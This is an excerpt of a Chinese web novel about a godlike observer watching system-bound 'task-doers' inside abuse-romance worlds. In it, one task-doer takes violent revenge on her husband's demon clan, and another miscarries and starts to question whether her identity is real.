无论是旁人怎样可望而不可及的事物，都不过是她唾手可得的玩具；无论是怎样或高贵或强大或美貌的高岭之花，在她面前也要如绵羊一般俯首。 她不会有什么想要的东西，因为世上的一切都被人送到了她手边；她也不会有什么强烈的愿望，因为她的所有需求都已经被人过分满足。 ……就如同现在的这位任务者。 是啊，在披上“女娲后人”这个唬人的虎皮，得到充盈澎湃的强大力量，以及一张由颜辞云精心捏成的完美无瑕的面容后，这个世界对任务者9122来说，可不就是心想事成吗？！ 颜辞云隐去身形，坐在魔宫顶上，有些无聊地晃着腿，无声看着脚下发生的一切，看着任务者9122废物翻身，以“神女”的身份，肆无忌惮地倾泻着她所有的怨愤与不甘。 事实上，如今的任务者9122其实是不必借助仙帝谢承之手的。 以她如今的力量，无论是“男主”还是“女主”，“大能”还是“高人”，都只有被她碾压的份。 可是有句话是这样说的——杀人诛心！ 任务者9122完全不必拿谢承当刀，可她偏要留下仙帝谢承、偏要谢承亲自出手，杀了爱他至深的宋茵茵，还要宋茵茵的一号舔狗帝昭，亲眼看着宋茵茵是怎么死的。 而接下来，任务者9122还将一步步夺去帝昭重视的一切——他魔族少主的身份，他反复强调的力量，他自持高贵的血脉，他矫勇善战的部将，他前呼后拥的奴仆，最后，是他的性命！ 就连仙帝谢承，任务者9122也是不想放过的，但这个人可以留在最后料理…… 就这样，那些局中人在上演着七情八苦九难，就像是一场纠葛的戏剧，每个人都有自己怨憎的原因、不甘的理由、爱恨的纠缠。 而在这一幕大戏的上方，颜辞云则平静看着他们恨海情天，心如止水。 颜辞云想，她或许知道接下来会发生些什么，知道那些人会露出什么样的懊悔表情，说出什么样卑微恳求的话语。 毕竟，当事情发展到这一地步后，所谓的“未来”，其实已经没有太大悬念了。 但是，换个思路，这是否是因为颜辞云的某种隐约预感？ 事实上，在接过应龙的神明身份后，随着颜辞云的力量越发强大，她的直觉——就暂且叫它“直觉”好了——就越发强烈。 有些时候，当颜辞云认真注视一个人时，她可以隐隐看到一些常人所看不到的东西，比如说这个人的姻缘和福泽，又比如说这个人过去的苦难、未来的大劫。 简单点说，颜辞云可以看到一个人身上最深重的一些因果。 而在某些晃神的时候、极偶尔的时候，她甚至可以看到命运和未来！ 当然，这样的“命运”和“未来”都处于无限变幻之下，只要某个细节稍有变动，“命运”和“未来”就会成为一个全新模样。 所以，颜辞云觉得，与其说她看到了“命运”，不如说她看到了这方小世界无意识下收集的“大数据”、以及由这些“大数据”推演出来的某种“未来”的可能。 可偏偏，奇妙的是，颜辞云看不到有关任务者的任何过去和未来。 就连这些和任务者牵扯至深的“男主”“女主”“男配”“女配”，颜辞云都只能看到一些模糊的、似是而非的影子。 有时候，颜辞云觉得，这些任务者相关之人的未来已经很清晰了，可有时候，那些原本清晰的未来，突然又融入了一团灰蒙蒙的混沌之中…… 这正常吗？ 不正常。 特别是当颜辞云发现，那位任务者9122的怨恨如此真切、不甘如此汹涌，仿佛她自身就是这场爱恨情仇的戏剧的一员的时候，颜辞云就越发觉得这件事不对劲了起来。 毕竟，只有真切爱过的人，才会真切地憎恨，只有亲身体会过不公待遇的人，才会真情实感地不甘。 可任务者9122说到底不就是个和颜辞云一样的局外人吗？ 她所作的一切，都只是为了复活现代的她自己而已。 虽然这位任务者的确很惨、被深情男配的骚操作搞得很是狼狈，差点第一个任务就死了。 但她最正常的情绪，难道不是对自己被迫卷入旁人的爱恨情仇里无辜遭受此劫的愤恨、对自己突逢奇遇翻身做主的扬眉吐气吗？ 她的第一选择，难道不该是直接动手杀了两次差点害死她的仙帝谢承、在幕后推波助澜的宋茵茵，以及真正害她至深的帝昭吗？ 她何必玩什么“杀人诛心”？ 她这样复杂而怨念深重的不甘和痛苦，到底是从何而来？ 当注意到这样的不对劲后，颜辞云便忍不住开始思考一个问题： 这些所谓的“任务者”，究竟是谁？！ 随着这样的疑问悄然升起，颜辞云不由得重新审视自己遇到的这几个“虐文女主”以及任务者。 其中，第一个任务者，她曾经是大启王朝明懿长公主，如今是镇国公世子妃倪静如，特点非常明显，突出的就是一个没苦硬吃，用自己的死亡惩罚男人。 时髦一点的形容就是，冷脸洗内裤。 第二个任务者，是凤族的第一美人凤清姿，也是攻略系统的持有者，为了攻略龙斯年而来。 这位任务者的作风比较神奇，在降临后一直高调宣扬自己攻略者的身份、宣扬自己的攻略任务。 这样的行为有没有用颜辞云不知道，翻正她最后是死了，并且抛出了系统，让龙斯年转头来攻略她，只可惜半路被颜辞云截住了系统。 而第三个任务者，则是一位攻略大佬。她降临后，轻车熟路地给自己换了身份，从地位低微的桃花妖摇身一变成为上古至宝混沌金莲，然后用自己的新身份在天庭里天天搞男人开修罗场。 所以，这位任务者的任务究竟是什么？她的这番作为，对她成功完成任务是否真的有所帮助？ 颜辞云不知道。 颜辞云觉得很悬。 但颜辞云还知道，她觉得很悬的事不一定真的不能成，毕竟这是个充满了癫人的世界，不可以常理揣度。 而至于第四位任务者，就是颜辞云如今面前的萌新9122了，她接手了一个对新人来说几乎天崩开局的任务，眼看就要失败身死，最后还是靠着颜辞云的灵机一动才存活下来，并得到了翻身的力量。 接下来，这位任务者要做的、会做的事，似乎已经一目了然，可颜辞云却下意识觉得，此事或许还有变故。 说实话，纵览这四名任务者，她们性格迥异，风格也各不相同，除了都携带“系统”之外，并没有任何相似之处。 颜辞云哪怕连续观察了四位任务者，也依然不太能够理解她们的行为动机和情绪起伏，不理解她们身上的“系统”算是什么样的存在，更弄不明白“系统”存在的目的是什么。 一切都像是笼罩在一团没有线索与头绪的迷雾里。 可是，随着这第四名任务者编号9122的出现，她在情绪起伏间，却让颜辞云察觉到了一些微妙端倪。 颜辞云觉得，这个看似癫狂的世界、看似无厘头的“剧情”，以及这些看似寻常的“任务者”，她们的所思所想、所遇所求，或许都有着更深一层的涵义。 抱着这样的想法，颜辞云把自己的两个挂件放下，但不是放在魔族和仙帝这边，而是分别放在了两处地方。 第一处地方，是一个离水神共工与颛顼最近的凡人城镇。 颜辞云把机灵的青阳留在此地，让他留意神之部族的动向，倘若神之部族真要发生一场大战，必要第一时间通知颜辞云。 至于怎么通知，颜辞云给青阳留下了一只水怪之触，就是打水猴子掉落的猴子左手，一种材料，系统注释说是用在诅咒和祭祀上的。 一直以来，颜辞云都没发现这玩意儿的用处。 后来，在极偶然的情况下，颜辞云意外发现，这所谓的【水怪之触】，竟然是同步的。 所谓的“同步”的意思是，当同一方小世界里存在两只或两只以上的水怪之触时，某个持有水怪之触的人拿着这只猴子左手做出什么动作，另一只水怪之触也会做出相同动作。 换而言之，如果这边有人拿着水怪之触写字，其它持有水怪之触的人，也能在这样的牵引下，写出同样的问题。 ——通讯问题这不就解决了么！ 而与此同时，为了让小弱鸡青阳能在混乱的人神交界之地有自保能力，颜辞云抽空也给他改造了一下。 没改太过分，只是稍稍加强了血肉的强度，又留下了【无踪飞花针】这个装备给他防身罢了。 虽然颜辞云自己是看不上这种用普通铁石合成的武器，只把它们当作玩具的，但放在这个小世界里，它的强度应该还不错，危急关头用它来保青阳命应该是没有问题。 至于元德，颜辞云则把他放在了第三个任务者，也就是那名在无数男人间游走的混沌金莲的地域里，某座最靠近“天界”的凡人城镇中，让他留意那位混沌金莲的动向，并定期向她汇报通信，事无巨细。 因为这里比神之部族那边要繁荣和平多了，而元德打听的也是一些绯闻八卦，所以颜辞云并不担心元德的安危。 可颜辞云又不好意思对两个同样的打工人厚此薄彼，于是她同样也给元德来了一套全身加强，并留下了【震山千人斩】这把刀。 安排好了这两人后，颜辞云自己则跟上了任务者9122的脚步，随着任务者9122一块儿，向这个仙魔虐恋的世界步步深入。 颜辞云有一种奇妙预感—— 她所想不通的关于“系统”和“任务者”的一切，或许都能在这个任务者9122身上找到答案。 第124章 复仇 生生世世、永生永世 一个受害者在获得了反击回去的强大力量后，要怎样做才是最好的？ 如果让颜辞云来回答，她或许答不上来，因为这个问题看似简单，实则很难。 倘若受害者对施害者轻拿轻放，那么受害者的这番作为不仅对不住过去受苦受难的自己，甚至对不住这世上的公平与正义。 因为对恶的宽容绝非“宽容”，而是对善的践踏！ 可如果受害者出于怨恨，对施害者千百倍地报复回去，却又同样会造成过之不及的问题，使得受害者与施害者身份立场转变，令受害者成为了新的“恶”。 而与此同时，什么样的报复才算“恰当”？ 要如何处理事件，才能令它公平公正，让受害者的冤屈得以伸张，令施害者的残暴得以遏制？ 颜辞云时常会思考这样的事，可每一次她都得不到答案。 而对于任务者9122，她的想法就干脆利落多了： 报复就是报复，何必想什么“公正”，想什么“恰当”？ 这些事，是她一个受害者该想的东西吗？ 当她遭受苦难时，从没有人想过这样的苦难施加于她这无辜人的身上是否恰当。 那当她报复回去时，她又何须思考自己的报复是否“恰当”？ 什么“沦为新的恶”？ 什么“污染了自己的心灵与施害者一同沉沦罪恶的淤泥”？ 去你先人，干就完事了！ 如果只有成为恶才能得到公正，那她就是最大的恶！ 如果世上真的没有恶报，那她就是最狠毒的恶报！ 她发誓，她必要将这个世界闹得地覆天翻，以回报世界加诸于她身的苦痛劫难！ 抱着这样的念头，任务者9122逼迫仙帝谢承杀了宋茵茵后，没有给帝昭任何反应时间，甚至连他的悲愤怒吼痛苦指责也懒得多听一点，直接把他抓到了魔族之主的面前，以魔族少主恶意谋害神女的罪名，要求魔族之主给她一个交待。 魔族之主哪里想过他向来看不上的、连印象都没两分的凡人儿媳，竟会有一天摇身一变成为神女，并以“谋害神女”的罪名，把他们魔族驾到了火上烤？ 是，原本的神女的确是秦如霜，可一来，那只是仙帝谢承的一面之词，除了仙帝谢承外，没有任何人和事物能够证明秦如霜是女娲后人。 二来，女娲后人有一个非常重要的标识，就是她们半人半蛇的形态。 秦如霜却从来没有在人前展现过这种形态，问就是她幼年亏损太多，变不了原型。 可……原型这种东西，一般来说不正是因为亏损太过，才会一直维系的吗？可在这位秦如霜姑娘身上，怎么反了过来。 众人不敢说，众人也不敢问。 反正仙帝谢承都说秦如霜秦姑娘是神女，那她大概就是的吧。 可如今，一个比秦如霜更强大的、更完美的、更符合众人对“神女”想象的人出现了！ 并且，还偏偏是他的小儿媳？！ 甚至，他的儿媳还一副要和他小儿子不死不休的架势？ 魔族之主其实一直知道自己小儿子和小儿媳、仙帝谢承和仙帝爱徒宋茵茵的那堆破事。 但谢承和宋茵茵他管不了，那是仙帝一脉的事；小儿子帝昭他不愿管，毕竟小儿帝昭幼年的走失、吃过的苦头，都是他当年的疏忽之过。 所以，在这场闹剧中无辜躺枪的小儿媳，就多吃点亏吧。 反正她不过一介凡人，能成为魔族少主之妻已经是她数辈子修来的福分了，如今为此多付出一点代价，就当作是对这份福气的补偿好了，这是很合理的。 但谁能想到，真正的神女既不是自称神女的秦如霜，也不是大家暗暗猜测过的仙帝爱徒宋茵茵，而竟是他惯来瞧不上的凡人出身的小儿媳李寻真？ 这一刻，魔族之主几乎恨不得晕倒过去，好不用面对自己错失宝物、买椟还珠、鸡飞蛋打的一幕。 但他晕不了，他不能晕！ 他脸上肌肉抽动，向来凶神恶煞冷酷暴戾的脸上，挤出了魔生中第一个几乎能称作谄媚的笑，道：“原来是儿媳你啊，不知我儿帝昭这回又犯了什么错？可哪怕我儿他日常偶有过错，你们也好歹是夫妻一场，夫妻之间，哪有什么隔夜——” 没等魔族之主说完，帝昭就悲愤地大喝了出声：“父王！你在说什么？她不是我的妻子，她害死了茵茵！她害死了茵茵啊！！这样恶毒的女人，怎么配当我魔族少主的妻？！” 魔族之主差点没有被帝昭气厥过去。 他第一次发现，自己向来看好的小儿帝昭，竟然是如此愚钝、如此意气用事的蠢物！ 你倒是睁开眼好好瞧瞧当下的境况！ 别以为他这个当老子的嘴上在说着“夫妻之情”，就以为他想说的就真的是“夫妻之情”。 现在是那个李寻真配不配得上身为魔族少主的你的事吗？是李寻真作为你的妻子和你的心上人争风吃醋的事吗？ 那分明是你配不配得上救世神女的事！是你为了你的心上人让神女在魔族处处受委屈、甚至数次谋害神女还差点成功了的事！ 李寻真如今再也不是什么“魔族少主的妻子”，而是女娲后人，是将会拯救世界的神女，是全天下人都会亏欠她一条性命的站在道义至高点上的人！ 而你帝昭，也不再是什么魔族少主，而是“被神女选中的幸运儿”！ 你可知倘若神女真的气怒之下，不再承认你“神女的夫君”这个身份后，以你之前的所作所为，你会将整个魔族推到怎样不堪的境地吗？ 你可知道神女披露了她在魔族受到的委屈后，这天上天下的仙神妖魔，都会怎样看到他们魔族吗？ 你不知道！你就知道你的茵茵！ 有那么一瞬间，这位魔族之主甚至怀疑自己把小儿帝昭从凡间接回来并让他成为魔族少主的决定是否是正确的。 但木已成舟，事已至此，他只能努力挽救。 “李姑娘，我知道我儿做错了很多事，有许多对不住你的地方，但他到底年纪还小——” “年纪小？” 又一次的，魔族之主的话被打断了。 只听任务者冷笑道：“这般厚颜无耻的话你竟也好意思说出口？他都快两百岁的年龄了，娶妻都娶了一百多年了，这也叫‘小’？放在凡间，他这样的家伙都能入土了！” 魔族之主厚着脸皮回道：“我们魔族之人的论资排辈，自与凡间不同。” 旁听的帝昭越发忍不了了。 帝昭当惯了天之骄子，除了在宋茵茵面前时，哪里受得了自己的诉求和怒气没有任何回响？ 于是他不甘地再次大叫出声：“父王，你还与这个恶毒女人多说什么？还不快快将她拿下！她害了我的茵茵，我一定要她血债血偿！” 啪！ 帝昭被一个暴烈的巴掌掌掴得原地转了三圈，一头栽在地上，发冠散落，脸颊瞬间红肿了起来，耳旁嗡嗡直响，眼前狂冒金星。 然而，这一次，出手的却不是那位为神女保驾护航的仙帝谢承，也不是化身强大神女的任务者9122，而是帝昭最大的依仗——那位在魔族说一不二的魔族之主！ “蠢货！蠢货！愚钝至极！” 性格暴烈的魔族之主终于没有忍住，一巴掌将帝昭扇到地上，暴跳如雷地指着帝昭怒骂起来： “我帝烈一生英明，怎的生出了你这样愚蠢的种？都到了这一地步了，你竟然还不清楚发生了什么、不知道你错在何处？莫非你一定要等我魔族上下受万万人唾弃，等你老子我也死了、身首异处，你才知道你犯了何等错处？！” 帝昭捂着自己肿成发面馒头的脸，看着帝烈，又是茫然又是惊愕，完全想不通自己错在了哪儿，想不通自己的话有什么地方值得帝烈这样暴怒。 明明……明明以前不一直都是这样的吗？ 还是说，仙帝谢承的威慑力就这样大，就连他魔族少主和他父亲魔族之主，都不能对仙帝的作为发出任何异议？ 可他刚刚明明骂的是李寻真啊！ 事到如今，帝昭仍然没有察觉到问题出在哪儿。 但这并非是他不懂得审时度势，而是这一百多年来对李寻真的轻慢忽视、漫不经心和冷漠以待，早已经让他形成了一个思维惯性，那就是：无论他怎么对待李寻真都是没问题的。 就像是面对自己养的一条被呼来喝去的杂种狗。 哪怕有一天有人告诉你，那条狗其实并不是狗，而是来自外星的王子，只不过是以狗的形态出现而已。 可当再次看到那条被自己凌虐过侮辱过轻蔑过无视过、但都没有半点反抗之力的狗时，帝昭心里第一时间生出的依然不是警惕和后怕，也不是怯缩和迟来的敬意。 而是轻蔑。 一如既往的轻蔑。 任务者看着面前这滑稽的一幕，看着暴怒中又带着失望疲惫的魔族之主帝烈，看着因宋茵茵的死亡而心不在焉的仙帝谢承，最后看向了一脸茫然甚至委屈的帝昭，觉得这场大戏可真是有意思。 怪不得帝烈之前“看戏”的时候总是懒得插手呢。 倘若不是事关己身，倘若不是她心中的复仇火焰时时啃食着她的心，她也乐意如之前的帝烈那样，静静地看着，看这些人和事究竟能发展到什么地步。 “魔帝，我是因为敬重你为了一族事务日夜操劳，才尊称你一声‘魔帝’，把这件事交给你解决，并且，我也给了你足够的事件，让你好好瞧一瞧你好大儿的态度…… “魔帝呀魔帝，你可想要要给我怎样的交待了吗？我们先小人后君子，我先提前告诉你罢，倘若你的交待不让我满意的话，我定然是要将我来到魔族之前和之后经历的所有事件，事无巨细地写进话本子里，在四海八荒传播。 “我必要让上至九霄的仙神下及黄泉的鬼怪都清楚知晓你们魔族和你们魔族少主都对救世神女做了什么好事！ “甚至，我这个神女也不是没有亲手复仇之力的。魔帝，想来你也能看出我如今的力量有多么强大吧？而你也知道的，像我这样出身低微在红尘凡俗里打滚的下九流，又向来是没有什么道德和底线的。 “所以，且告诉我吧，你的交待是什么？” 面对任务者笑意盈盈的脸，魔族之主帝烈身形佝偻了一下，仿佛一下子苍老了许多许多。 他嘴唇轻颤，嗫嚅了一下，最后眼神一狠，高声道：“来人！” “是！” 门口待命的两名魔族侍卫上前躬身。 帝烈厉喝：“魔族少主帝昭，因不敬神女，天憎地厌，现夺去魔族少主之位，剥离王室血脉，废除修为，打入水牢，待一月后开启界门后，押入鬼哭血池，永生永世受罡风侵蚀和百鬼抓心之苦！” 帝昭不可置信：“父王？你在说什么？你怎么可以这样对我？！” 就连魔族侍卫们都愣住了，呆立原地，不敢相信自己的耳朵。 帝烈大手一挥，背过身去，不去看他们。 “还不快快押下去！！” 两名魔族侍卫神色一凛，这才明白帝烈绝不是在开玩笑，连忙上前，向帝昭低低道了一声“恕罪”，便果断伸手。 “不、不要、不要！大胆，你们要对我做什么？父王，救我，救我！你怎么能这样对我！！” 帝昭在恐惧中绝望大叫着。 可这两个魔族之主的护卫却修为高深，并且从来只听魔族之主的命令。 因此，他们神色冷酷，没有半点动摇，下手间利落又狠辣，一人一把抓住帝昭，逼迫他跪在地上，仍他如何大叫也不给他躲避的机会，一个人则趁机在帝昭胸腹丹田处连拍，果断废去了他的修为，让他从今以后绝不可能再有东山再起的机会！ 这一刻，当帝昭跪在地上，百年修为都随着一口黑血喷出时，他神魂都仿佛飘离了这具变成了废物的躯壳，痛哭流涕，心如死灰。 而任务者则在此刻来到了他面前，轻轻站定，笑盈盈看他，就如同看一条狗。 之后，她伸手，隔空轻点帝昭的眉心，神态娇俏，竟好似仍如夫妻般亲昵，可她注视帝昭的目光却比最怨念深重的厉鬼还要森冷恶毒： “看，这就是我这个微不足道的凡人的复仇。这些年来，你辜负我的、漠视我的、欺辱我的事，至此，也算是一笔勾销啦！” 顿了顿，她嫣然一笑。 “嘻嘻，骗你的啦。” 一笔勾销？ 不，怎么可能会有“一笔勾销”？ 从今往后，帝昭必然要在暗无天日的鬼哭血池中生生世世、永生永世都悔痛于他对她犯下的罪过！ 第125章 契机 “假的，你们，统统…… 当任务者9122决心复仇后，她便开启了自己“虽无道德底线，但着实快乐”的毒妇人生，每天都在列单子拉表格，按她曾经受辱的轻重程度一个个杀过去。 在帝昭被囚入水牢、等待界门和鬼哭血池开启的这一个月时间里，任务者9122的名头，在魔族族地里甚至比阎王还要可怕。 至少阎王不会从地府跳出来，挨个点名叫谁去死，可任务者却是早上说要谁死，晚上那个人的脑袋就会被提到她的面前。 早上点名晚上杀，杀得魔族之地人头滚滚！ 按理来说，面对任务者9122这一丧心病狂的行为，本应该是有人要出来制止的。 但其中，最有责任制止的魔族之主帝烈，只稍稍提了一句，任务者9122便呛道：“易地而处，倘若当初受到那般对待的人并非是我，而是魔帝大人，魔帝大人又将如何？” 魔帝便再不吭声了。 而第二位有可能出于道德感制止的谢承，却一直心不在焉，并且面上死了爹一样的悲痛表情正随着时间的流逝与日俱增。 想来是这个眼瞎心盲脑且回路奇特的仙帝，终于从亲手杀了自己心爱之人的事中醒过味了、开始痛了、要后悔莫及了。 ——虐文男主总是如此，一副后知后觉、被针扎了十天后才会感到疼，反应速度绕地球八百圈的样子。 而在这之后，感受到痛楚的虐文男主的反应，又大致能归为三个分类： 第一个分类是后悔莫及型。 他们会上穷碧落下黄泉地寻找女主的灵魂和转世，并且有50%的概率找错转世，从而开启虐文剧情的下半篇。 第二个分类是大杀特杀型。 他们心中充满了苦痛，但又不舍得只责怪自己，于是原地黑化，变成旁人口中的堕仙，满腔狂怒冲着旁观者而去。 无论是他曾经辜负女主也要的保护的亲朋好友，还是他曾经辜负女主也要守护的人与事，甚至是他曾经辜负女主也要好好对待的路过野狗，都会被他们事后清算、大卸八块，誓要让天上天下的所有人都见证他幡然悔悟的老年爱情伤痛文学。 第三个分类是兼具以上二者。 反正，虐文男主的心死了，但他的刀没死，可怕得很。 而还好，任务者9122早已脱胎换骨，有着一巴掌把黑化男主扇到目光清澈的力量，所以任务者9122的毒妇人生实在是无拘无束，快乐无边！ 这头，任务者9122开心写着她的死亡笔记。 而另一头，颜辞云也没有闲着，一边仔细观察着任务者9122在这一个月里的细微变化，一边默默收集着其他任务者们的信息及她们的任务进度。 其中，颜辞云遇到的第一个任务者倪静如，因她能够直接把马甲视角切到任务者本人身上，甚至能第一视角看任务者开关系统商城，所以那边的任务进度对颜辞云来说是最直观的。 但却也是颜辞云最不能理解的。 之前曾说过，倪静如是最传统的虐文主角，也就是那种男主虐她千百遍，她也绝不反抗，反而一边受虐一边扮演完美受害者。 直到被虐文男主逼到退无可退后，她会用自己最惨烈的死亡揭露真相，以此来惩罚男主的三心二意、识人不清。 她发誓，哪怕虐文男主从此以后享一生富贵荣华，有娇妻美妾在怀，膝下满堂儿孙环绕，但当他死去时，也要在老泪纵横中说，其实他的心，早在当年就随着她的死而死去了，他已永失所爱，所以这么多年来活着的，不过是一具行尸走肉而已！ 颜辞云一直觉得这个思路多少有点大病。 所以颜辞云也一直不觉得倪静如的任务能够成功。 这不，都快一个月过去了，原本客居镇国公府的青梅都直接搬入了主院，虽还没有与慕容寻正式成亲，却也已经比倪静如更像是镇国公府的女主人了。 可任务者倪静如的后台界面上，悔恨值却一直只有“+1+1+2”的零碎入账。 颜辞云看着着寒碜的数值，想，哪怕自己不小心踩到小白的猫尾巴，她心里冒出的悔恨值都不会只有这么一点儿。 看来婚姻走到尽头，真的只有两看相厌。 更别提虐文剧情里的婚姻了。 简而言之，任务者倪静如的失败的未来，似乎是可以清楚预见的了。 可让颜辞云震惊的是，这一眼就能望到头的未来，竟然很快发生了变化！ 那是任务者成为倪静如的第二十三天。 秋日，晴，正午。 任务者倪静如，这一天正照旧跟镇国公府那群颜辞云眼中的癫公癫婆们纠缠。 ——为什么以颜辞云的性格，都会刻薄地评价镇国公府的人是一群“癫公癫婆”？ 因为此刻的倪静如，正被镇国公府的男主人惩戒，命令她在一天中最热的时刻，跪在毫无遮挡的院子的青石板上，以一个比侍茶丫鬟更卑微的姿势，双手奉茶，等待屋里的人午睡醒来。 并且，倪静如这位名义上的镇国公府女主人、受过敕封的四品命妇，她奉茶的对象并不是镇国公府的那位年纪最大辈分最高的老太君，而是客居客进了主院的男主青梅，一介布衣的乔玉卿！ 要让颜辞云来评价，此时此刻，面对这样的一幕，整个镇国公府上下最害怕的人，其实不是那位被镇国公命令在烈日下跪着奉茶的四品恭人，而是那位午睡中一无所知就被这位诰命夫人跪着奉茶的乔玉卿。 因为可以想见的，当“四品诰命夫人被迫为无品阶在身的侧室下跪奉茶”这事儿被传出去一点儿风声后，乔玉卿都是必死无疑的。 所以此刻，乔玉卿身旁大丫鬟不断向屋内张望、想要将自己午睡中的主子叫起来的慌张目光，也是可以理解的了。 恶毒女配固然恶毒，但却不愚蠢，最多挑拨一下男女主之间的感情，目的是为了让自己拥有更好的生活，当然不可能做引火烧身之事。 但，理所当然的是，会以这样疯癫出格且不顾他人死活的方式折辱女主的人，是必不可能放丫鬟进去打扰乔玉卿休息的、是必要让乔玉卿接受“属于她的荣誉”的。 而更理所当然是，无论虐文男主发了什么癫、提出了什么离谱要求，虐文女主都会一边无条件遵从男主的要求，一边在心里心灰意冷地想：这是你第AA次让我失望，没关系，等再过BB天/等攒到第CC次失望的时候，我就要彻底消失在你的人生里了。 总而言之：发癫的男主，恶毒的小三，翻脸无情的仆役和破碎的她。 不得不说，能让一个对虐文套路一无所知的人，能如此轻车熟路地总结出虐文流程，任务者倪静如实在是功不可没。 所以，当这个剧情开始时，颜辞云随便瞥了几眼，并没有很放在心上，只当一群癫公癫婆又在发病。 可是，在颜辞云分神去任务者9122那边围观了一下毒妇的快乐生活之后，再重新切回倪静如这边视角时的她愕然发现，倪静如竟然已经不知道什么时候瘫倒在了地上，整个人进气少出气多，还有大量的鲜血源源不断地从她身下涌出，几乎将她整个人都染红！ 周围的丫鬟仆役们慌张地尖叫了起来： “不好了，不好了，世子夫人出事了！” “府医！快去叫府医！” “快去通知国公大人和老太君……” “夫人身边的丫鬟婆子呢？你们是死了吗？还不快快把夫人扶进屋子里！” “桃红，桃红！该死的蹄子你又跑去哪儿躲懒了？！” “小姐不好了，小姐快醒醒，世子夫人在我们院子里出事了！” 无数的声音此起彼伏，无数的人影惶然穿梭。 而也不知道是不是颜辞云的错觉，在某个瞬间，颜辞云竟觉得这样混乱的一幕如此虚假，又如此遥远。 就像是电影中的蒙太奇手法，那些来来去去的人影，就如同来自于另一个世界！ 在颜辞云的晃神间，混乱的镇国公府里，任务者不知道什么时候醒了过来。 她被丫鬟婆子们搀着，一步一颤地被扶进屋子里，脸上的神色与其说是痛苦，不如说是茫然。 “我……肚子好疼……” “血好多血……” “我……流产了？” 她喃喃着，表情从颜辞云看不懂的茫然，慢慢变化成了颜辞云看不懂的慌张恐惧。 可就连这样的恐惧，也带着遥远的意味。 “不可能……怎么会这样……” 她胡乱摇着头，如梦呓般说着颜辞云听不懂的话。 “怎么可能？我怎么可能怀孕？” “甚至是流产……” “不对，不对……不应该是这样的，不应该是这样的！” 一旁搀扶着的宋婆子是倪静如的奶娘，她见到自己自小养大的姑娘如此失态，也是泪眼婆娑，忍痛安慰道：“没事的，没事的夫人，你和世子还会有孩子的……好好保重自己，还会再有孩子的……” 可倪静如只是摇着头，不知道有没有听进去。 很快的，院子里头的乔玉卿也被丫鬟摇醒了。 她发髻都来不及梳，披了件外衣就慌慌张张地跑了出来，眼珠转也不转地盯着浑身是血的倪静如，耳旁听着丫鬟的话，身形摇摇欲坠，面色好似比倪静如更惨败，畏怯退缩和恶毒狠辣两种截然相反的状态在她眼中交织。 之后，倪静如被扶进屋内躺下没多久，府医和镇国公世子慕容寻便也前后脚来了。 府医隔了方帕子，指尖按在倪静如的脉上，一边观察倪静如的面色，一边眉头紧蹙，最后摇着头起身开方去了。 而府医离开后没一会儿，慕容寻也来了。 他脸上带着颜辞云不能理解的慌张和懊悔神色，好像倪静如掉了个孩子后，他就真的悔悟了、真的明白到自己做了多么可怕的事一样。 ——这是不合逻辑的。 在颜辞云看来，有良心会痛悔的人，是不可能对自己的结发妻子做出这样折辱他人的事的。 而会做出这样无情侮辱他人之事的人，又绝不会后悔伤心。 但偏偏，慕容寻好似真的幡然悔悟了。 他坐在倪静如的床边，再也不提两人之前的嫌隙，握着倪静如的手一遍又一遍地安慰她，一遍又一遍地诉说自己的痛悔懊恼、回忆两人的美好过往。 他说，之前一切都是他糊涂了，是他对倪静如太过失望，这才移情到乔玉卿身上，但刚刚他才发现，原来他爱的人一直都是倪静如。 他说，他会立即安排人将倪静如再搬回主院，而至于乔玉卿，就让她远远搬到偏院去，实在不行，把她赶回她娘家也可以，只要倪静如高兴，他甚至可以不再娶平妻。 他还说，他们过去已经错过了那么多年，他不想要两人再继续错过了，为此，无论倪静如怎么惩罚他都可以，但为了他们今后一定会再有的孩子，请倪静如一定要好好保重自己的身体。 慕容寻这般情深意重、浪子回头的话，说得倪静如身旁贴身伺候的婆子丫鬟们都感动不已，觉得自家夫人和老爷的误会可算是解开了，夫人她终于熬到了苦尽甘来。 并且颜辞云也看到，任务者“倪静如”的后台界面里，大半月来都是少得可怜的悔恨值，也终于开始“+100”“+500”地狂跳了起来，竟没一会儿就超过了颜辞云在龙斯年身上获取的3000悔恨值。 ——这合理吗？ 颜辞云越看越觉得困惑。 并且是哪里都觉得困惑。 任务者发现自己怀孕又流产时的古怪反应，还有她喃喃自语的那些话，让颜辞云感到了困惑。 噪杂院子里有瞬间变得像幻影一样虚假的人们，也让颜辞云感到困惑。 还有如同人机一样，按下一个按钮就从渣男爆改暖男的慕容寻，同样让颜辞云感到了困惑。 但最让颜辞云困惑的，还是慕容寻离开后，任务者与怨气化解系统的那段对话。 “系统，我问你……我是谁？” 【你是怨气化解系统的宿主，任务者编号0733.】 “不，我的意思是，我叫什么名字？” 【……】 “你一直说，我是因为在现代的身体死亡了，这才来到这里，完成任务，积攒积分，好兑换一具能够重回现代的身体……可是，刚刚，我突然发现了一个问题……” 任务者躺在床上，目光平静，透过头顶柔软而朦胧床幔，注视着某个不可知的虚空。 “我想不起来我的名字了……还有我在现代的那些记忆…… “我有家人吗？有几个朋友？谈过几场恋爱？结过婚吗？有孩子吗？不，我不记得了，所有的一切，包括我自己的名字，我统统都想不起来了…… “甚至直到刚刚我才发现，我忘记了这么多这么重要的事……所以系统，你可以告诉我吗？ “我是谁？我从哪儿来？我有什么必须要回去的理由？” 系统沉默，久久没有回答。 于是任务者发出了一声短促的笑声，像是自嘲： “假的，你们，统统都是假的。” 她喃喃着，目光如死亡一般涣散。 “全都是假的……” “我……也是假的……” 任务者自言自语，仿佛明白了什么。 可颜辞云却什么都没有明白。 因为，当颜辞云伸手时，她分明可以摸到任务者的灵魂，也能摸到代表系统的那一团能量。 真奇怪，明明任务者也好系统也好，都是真的呀。 哪儿假了？ 哪个假了？ 颜辞云不明白。 但她可以直观看到的是，从这一天起，一直贯彻完美受害者人设的任务者“倪静如”，开始变了。 第126章 变化 “好女人” 任务者“倪静如”一直都是一个行程很稳定、目标很明确、行事看似荒谬但其实很好懂的人。 在最初认识这位任务者时，颜辞云的确感到非常不可思议、不能理解这位任务者到底在想什么。 ——明明任务者是怨气化解系统绑定的宿主，是为了化解虐文女主的怨气而来的，可她的这一系列操作，到底是来为虐文女主化解怨气的，还是来个虐文女主徒增怨气的？ 以她那种正常人无法理解的超鬼操作，是怎么都不可能在正常人能理解的逻辑里，达成“化解虐文女主怨气”和“获取虐文男主悔恨值”这两个目的的吧？ 可之后，随着对任务者持续的大半个月观察，颜辞云突然在某个瞬间恍然大悟，明白了这位任务者的思路： 原来，这位任务者是想要打造一个完美受害者。 